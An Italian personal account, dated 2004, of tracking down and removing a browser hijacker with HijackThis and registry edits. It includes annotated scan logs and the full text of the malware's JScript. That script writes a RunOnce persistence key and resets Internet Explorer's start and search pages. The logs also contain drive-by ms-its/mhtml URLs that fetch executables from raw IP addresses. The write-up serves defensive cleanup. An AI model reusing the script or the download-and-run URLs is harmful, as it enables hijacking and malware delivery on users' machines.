Eliminare Uno Spyware

Rivoli 09/12/2004

Il problema da risolvere è un noiosissimo Spyware che cambia la pagina iniziale di Esplorer .
Non sembra cattivo ma è molto furbo.... Io imposto la pagina Blank ..... lui mi lascia fare ... per tutto il giorno non rompe ma appena si riavvia il PC si ripresenta.

***Fase (1) HouseCall** di Trend Micro*
Lo scan individua un Virus TROJ_ESEPOR.U(1) in c:\windows\system32\xplugin.dll
Lo elimino entrado in modalità provvisoria e cancellando il file ... (anche dal cestino) ... rifatto lo scan ... tutto OK ma "sorpresa " !!!! ... al successivo restart la home page si è impostata nuovamente su http://www.my-search.cc/ ..... evidentemente il virus eliminato non era il "decisore" della Home Page.

Fase (2) HijackThis
*Lo Scan genera un file log.txt che elenca i processi aperti **.exe** e .... (non so come chiamarli) .... un elenco R1, R0, o1, o2, ... o18 di ..... vedi file allegato .*

```
Logfile of HijackThis v1.98.2
Scan saved at 8.55.14, on 09/12/2004
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe OK
C:\WINDOWS\system32\winlogon.exe OK
C:\WINDOWS\system32\services.exe OK
C:\WINDOWS\system32\lsass.exe OK
C:\WINDOWS\system32\svchost.exe OK -> 1 verificare
C:\WINDOWS\System32\svchost.exe OK -> 2 verificare
C:\WINDOWS\system32\LEXBCES.EXE OK
C:\WINDOWS\system32\spoolsv.exe OK
C:\WINDOWS\system32\LEXPPS.EXE OK
C:\WINDOWS\System32\DRIVERS\CDANTSRV.EXE OK
C:\WINDOWS\System32\inetsrv\inetinfo.exe OK
C:\Programmi\File comuni\Microsoft Shared\VS7Debug\mdm.exe OK
C:\WINDOWS\System32\nvsvc32.exe OK
C:\Programmi\Analog Devices\SoundMAX\spkrmon.exe OK
C:\WINDOWS\System32\svchost.exe OK -> 3 verificare
C:\WINDOWS\Explorer.EXE OK
C:\Programmi\Java\j2re1.4.2_03\bin\jusched.exe ? verificare
C:\Programmi\CyberLink\PowerDVD\DVDLauncher.exe OK
C:\WINDOWS\system32\dla\tfswctrl.exe OK
C:\Programmi\Java\j2re1.4.2_03\bin\jucheck.exe ? verificare
C:\Programmi\Microsoft IntelliPoint\point32.exe OK
```

C:\Programmi\Dell AIO Printer A920\dlbkbmgr.exe **OK**
C:\WINDOWS\System32\ctfmon.exe **OK**
C:\Programmi\Messenger\msmsgs.exe **OK**
C:\Programmi\Dell AIO Printer A920\dlbkbmon.exe **OK**
C:\Programmi\WinZip\WZQKPICK.EXE **OK**
C:\Programmi\Internet Explorer\iexplore.exe **OK**
H:\Remoto\Download 02\Utilita\Hijackthis\HijackThis.exe **Programma in uso**

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://searchcentral.cc/search.php?v=4&aff=4077 chiave eliminata
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://searchcentral.cc/index.php?v=4&aff=4077chiave corretta
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyOverride = *hot-searches.com*;*lender-search.com* chiave eliminata
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Collegamenti **OK**
O1 - Hosts file is located at: C:\WINDOWS\nsdb\hosts corretto
O1 - Hosts: 82.179.166.164 lender-search.com eliminato
O1 - Hosts: 82.179.166.165 hot-searches.com eliminato
O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - E:\Programmi\Adobe\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll
O2 - BHO: DriveLetterAccess - {5CA3D70E-1895-11CF-8E15-001234567890} - C:\WINDOWS\system32\dla\tfswshx.dll
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
O4 - HKLM\..\Run: [NvCplDaemon] RUNDLL32.EXE C:\WINDOWS\System32\NvCpl.dll,NvStartup
O4 - HKLM\..\Run: [SunJavaUpdateSched] C:\Programmi\Java\j2re1.4.2_03\bin\jusched.exe
O4 - HKLM\..\Run: [DVDLauncher] "C:\Programmi\CyberLink\PowerDVD\DVDLauncher.exe"
O4 - HKLM\..\Run: [dla] C:\WINDOWS\system32\dla\tfswctrl.exe
O4 - HKLM\..\Run: [UpdateManager] "C:\Programmi\File comuni\Sonic\Update Manager\sgtray.exe" /r O4 - HKLM\..\Run: [IntelliPoint] "C:\Programmi\Microsoft IntelliPoint\point32.exe"
O4 - HKLM\..\Run: [Dell AIO Printer A920] "C:\Programmi\Dell AIO Printer A920\dlbkbmgr.exe"
O4 - HKLM\..\RunOnce: [tlc] C:\WINDOWS\update13.js
O4 - HKCU\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\ctfmon.exe
O4 - HKCU\..\Run: [MSMSGS] "C:\Programmi\Messenger\msmsgs.exe" /background
O4 - Global Startup: WinZip Quick Pick.lnk = C:\Programmi\WinZip\WZQKPICK.EXE
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\WINDOWS\System32\msjava.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\WINDOWS\System32\msjava.dll O9 - Extra button: Ricerche - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - E:\PROGRA~1\MICROS~1\OFFICE11\REFIEBAR.DLL
O9 - Extra button: Related - {c95fe080-8f5d-11d2-a20b-00aa003c157a} - C:\WINDOWS\web\related.htm
O9 - Extra 'Tools' menuitem: Show &Related Links - {c95fe080-8f5d-11d2-a20b-00aa003c157a} - C:\WINDOWS\web\related.htm
O16 - DPF: {03F998B2-0E00-11D3-A498-00104B6EB52E} (MetaStreamCtl Class) - http://components.metastream.com/MTSInstallers/MetaStream3.cab
O16 - DPF: {10003000-1000-0000-1000-000000000000} - ms-its:mhtml:file://C:\\MAIN.MHT!http://207.44.186.186/b/online.chm::/on-line.exe
O16 - DPF: {14A3221B-1678-1982-A355-7263B1281987} - ms-its:mhtml:file://C:\foo.mht!http://82.179.166.130/e9xr2.chm::/file.exe O16 - DPF: {1F831FA9-42FC-11D4-95A6-0080AD30DCE1} (InstaFred Control) - file://E:\Programmi\AutoCAD 2000i Ita\InstFred.ocx
O16 - DPF: {22945A69-1191-4DCF-9E6F-409BDE94D101} (EModelNonVersionSpecificViewControl Class) - http://www.solidworks.com/plugins/edrawings/download.cfm?Release=rel
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class) - http://v5.windowsupdate.microsoft.com/v5consumer/V5Controls/en/x86/client/wuweb_site.cab?1098959606000
O16 - DPF: {78AF2F24-A9C3-11D3-BF8C-0060B0FCC122} (Controllo AcDc oggi) - file://E:\Programmi\AutoCAD 2000i Ita\AcDcToday.ocx
O16 - DPF: {9059F30F-4EB1-4BD2-9FDC-36F43A218F4A} (Microsoft RDP Client Control (redist)) - https://ats6:1279/tsweb/msrdp.

cab
O16 - DPF: {F281A59C-7B65-11D3-8617-0010830243BD} (Controllo AcPreview) - file://E:\Programmi\AutoCAD 2000i Ita\AcPreview.ocx
O17 - HKLM\System\CCS\Services\Tcpip\..\{E0BE676B-3F0F-4EFA-A56B-1A560D6F2697}: NameServer = 151.99.125.2,151.99.250.2
O18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Programmi\File comuni\Microsoft Shared\Help\hxds.dll
O18 - Filter: text/html - {4F7681E5-6CAF-478D-9CB8-4CA593BEE7FB} - C:\WINDOWS\System32\xplugin.dll (!!! la dll del virus è ancora registrata)

Ho evidenziato in verde i file .exe ok

smss.exe *Session Manager Subsystem 5.1.2600.1106 (Windows)*
winlogon.exe *Applicazione Accesso a Windows NT 5.1.2600.1106 (Windows)*

service.exe *Applicazione Servizi e Controller 5.1.2600.0 (Windows)*
lsass.exe *LSA Shell Export Version 5.1.2600.1106 (Windows)*
svchost.exe *Generic Host Process for Win32 Services 5.1.2600.0 (Windows)*
LEXBCES.EXE *Servizio stampante Dell , LexBce Service 8.16.0.0 (Lexmark)*
spoolsv.exe *Spooler SubSystem App 5.1.2600.0 (Windows)*
LEXPPS.EXE *Servizio stampante Dell , MarkVision for Windows (32 bit) 8.16.0.0 (Lexmark)*
CDANTSRV.EXE *CD-Secure/CD-Compress Windows NT , C-Dilla RTS Service , (Macromedia)*
inetinfo.exe *Internet Information Services 5.1.2600.0 (Windows)*
mdm.exe *Machine Debug Manager (Visual Studio 6.0)*
nvsvc32.exe *NVIDIA Driver Helper Service 6.14.10.6178 (nvidia)*
spkrmon.exe *SoundMAX SpeakerMonitor service 1.0.0.4 (Driver Dell)*
explorer.exe *Esplora risorse 6.0.2800.1106 (Windows)*
jusched.exe *(inutile, java si attiva uguale senza sta roba) non firmato*
DVDLauncher.exe *Lettore Dvd , CyberLink PowerCinema Resident Program 3.0.0.0 (CyberLink)*
tfswctrl.exe *Driver Masterizzatore , Drive Letter Access Component (SONIC)*
point32.exe *Microsoft IntelliPoint 5.0.174.0 (Microsoft)*
dlbkbmgr.exe *Dell AIO Printer A920Button Manager (Stampante Dell)*
ctfmon.exe *CTF Loader 5.1.2600.1106 (Windows)*
msmsgs.exe *Messenger 4.7.0.41 (Microsoft)*
dlbkbmon.exe *Dell AIO Printer A920Button Monitor (Dell)*
iexplore.exe *Internet Explorer 6.0.2800.1106 (Windows)*

Con lo StartUp List si può capire come viene inizializzato il sistema :

```
StartupList report, 09/12/2004, 8.44.03
StartupList version: 1.52.2
Started from : H:\Remoto\Download 02\Utilita\Hijackthis\HijackThis.EXE
Detected: Windows XP SP1 (WinNT 5.01.2600)
Detected: Internet Explorer v6.00 SP1 (6.00.2800.1106) * Using default options
==================================================
Running processes:


 --------------------------------------------------
Listing of startup folders:
Shell folders Common Startup:
[C:\Documents and Settings\All Users\Menu Avvio\Programmi\Esecuzione automatica]
WinZip Quick Pick.lnk = C:\Programmi\WinZip\WZQKPICK.EXE eliminato


--------------------------------------------------
Checking Windows NT UserInit:
[HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
UserInit = C:\WINDOWS\system32\userinit.exe OK


--------------------------------------------------
Autorun entries from Registry:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run

NvCplDaemon = RUNDLL32.EXE C:\WINDOWS\System32\NvCpl.dll , NvStartup OK SunJavaUpdateSched = C:\Programmi\Java\j2re1.4.2_03
\bin\ jusched.exe
DVDLauncher = "C:\Programmi\CyberLink\PowerDVD\DVDLauncher.exe" OK
dla = C:\WINDOWS\system32\dla\tfswctrl.exe OK
UpdateManager = "C:\Programmi\File comuni\Sonic\Update Manager\sgtray.exe" /r OK
IntelliPoint = "C:\Programmi\Microsoft IntelliPoint\point32.exe" OK
Dell AIO Printer A920 = "C:\Programmi\Dell AIO Printer A920\dlbkbmgr.exe"


--------------------------------------------------
Autorun entries from Registry:
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
tlc = C:\WINDOWS\update13.js ecco la riga responsabile (1)


--------------------------------------------------
Autorun entries from Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
CTFMON.EXE = C:\WINDOWS\System32\ctfmon.exe
MSMSGS = "C:\Programmi\Messenger\msmsgs.exe" /background


--------------------------------------------------
Shell & screensaver key from C:\WINDOWS\SYSTEM.INI:
Shell=*INI section not found*
SCRNSAVE.EXE=*INI section not found*
drivers=*INI section not found*
```

```
Shell & screensaver key from Registry:
Shell=Explorer.exe
SCRNSAVE.EXE=C:\WINDOWS\System32\logon.scr
drivers=*Registry value not found*


Policies Shell key:
HKCU\..\Policies: Shell=*Registry key not found*
HKLM\..\Policies: Shell=*Registry value not found*


---------------------------------------------------
Enumerating Browser Helper Objects:
(no name) - E:\Programmi\Adobe\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3}
(no name) - C:\WINDOWS\system32\dla\tfswshx.dll - {5CA3D70E-1895-11CF-8E15-001234567890}


---------------------------------------------------
Enumerating Download Program Files:
[MetaStreamCtl Class]
InProcServer32 = C:\Programmi\Viewpoint\Viewpoint Media Player\AxMetaStream.dll
CODEBASE = http://components.metastream.com/MTSInstallers/MetaStream3.cab


[{10003000-1000-0000-1000-000000000000}]
CODEBASE = ms-its:mhtml:file://C:\\MAIN.MHT!http://207.44.186.186/b/online.chm::/on-line.exe


[{14A3221B-1678-1982-A355-7263B1281987}]
CODEBASE = ms-its:mhtml:file://C:\foo.mht!http://82.179.166.130/e9xr2.chm::/file.exe


[InstaFred Control]
InProcServer32 = C:\WINDOWS\DOWNLO~1\InstFred.ocx
CODEBASE = file://E:\Programmi\AutoCAD 2000i Ita\InstFred.ocx


 [EModelNonVersionSpecificViewControl Class]
InProcServer32 = C:\Programmi\File comuni\eDrawings2005\EModelView.dll
CODEBASE = http://www.solidworks.com/plugins/edrawings/download.cfm?Release=rel


[WUWebControl Class]
InProcServer32 = C:\WINDOWS\System32\wuweb.dll
CODEBASE = http://v5.windowsupdate.microsoft.com/v5consumer/V5Controls/en/x86/client/wuweb_site.cab?1098959606000


[Controllo AcDc oggi]
InProcServer32 = C:\WINDOWS\DOWNLO~1\ACDCTO~1.OCX
CODEBASE = file://E:\Programmi\AutoCAD 2000i Ita\AcDcToday.ocx


[Microsoft RDP Client Control (redist)]
InProcServer32 = C:\WINDOWS\Downloaded Program Files\msrdp.ocx
CODEBASE = https://ats6:1279/tsweb/msrdp.cab
```

```
[Shockwave Flash Object]
InProcServer32 = C:\WINDOWS\System32\macromed\flash\Flash.ocx
CODEBASE = http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab


[Controllo AcPreview]
InProcServer32 = C:\WINDOWS\DOWNLO~1\ACPREV~1.OCX
CODEBASE = file://E:\Programmi\AutoCAD 2000i Ita\AcPreview.ocx


----------------------------------------------------
Enumerating ShellServiceObjectDelayLoad
items: PostBootReminder: C:\WINDOWS\system32\SHELL32.dll
CDBurn: C:\WINDOWS\system32\SHELL32.dll
WebCheck: C:\WINDOWS\System32\webcheck.dll
SysTray: C:\WINDOWS\System32\stobject.dll


----------------------------------------------------
End of report, 6.410 bytes
Report generated in 0,062 seconds
Command line options:
/verbose - to add additional info on each section
/complete - to include empty sections and unsuspicious data
/full - to include several rarely-important sections
/force9x - to include Win9x-only startups even if running on WinNT
/forcent - to include WinNT-only startups even if running on Win9x
/forceall - to include all Win9x and WinNT startups, regardless of platform
/history - to list version history only
```

userinit.exe Applicazione accesso Userinit 5.1.2600.1106 (Windows)
NvCpl.dll NVIDIA Display Properties Extension (NVidia)

Soluzione :

Eliminata chiave (1)
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
tlc = C:\WINDOWS\update13.js

Sostituita chiave
HKLM\system\controlset001\services\tcpip\paramiters
DataBasePath = %systemroot%\nsdb
in
DataBasePath = %systemroot%\system32\drivers\etc

Sostituita chiave
HKLM\system\controlset002\services\tcpip\paramiters
DataBasePath = %systemroot%\nsdb
in
DataBasePath = %systemroot%\system32\drivers\etc

Sostituita chiave
HKLM\system\currentcontrolset\services\tcpip\paramiters
DataBasePath = %systemroot%\nsdb
in
DataBasePath = %systemroot%\system32\drivers\etc

Eliminata dyrectory c:\windows\nsdb

Testo del file update13.Js :

```
var url = http://searchcentral.cc/index.php?v=4&aff=4077;
var burl = http://searchcentral.cc/search.php?v=4&aff=4077;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + \\update13.js;
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath); Shell.RegWrite
("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite
("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite
("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite
("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no"); Shell.RegWrite
("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");
```

Ecco spiegato e corretto il comportamento anomalo riscontrato sul Mio PC.
La chiave HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce eseguiva ad ogni restart del sistema Questo script Java cambiando le impostazioni

di Windows Explorer.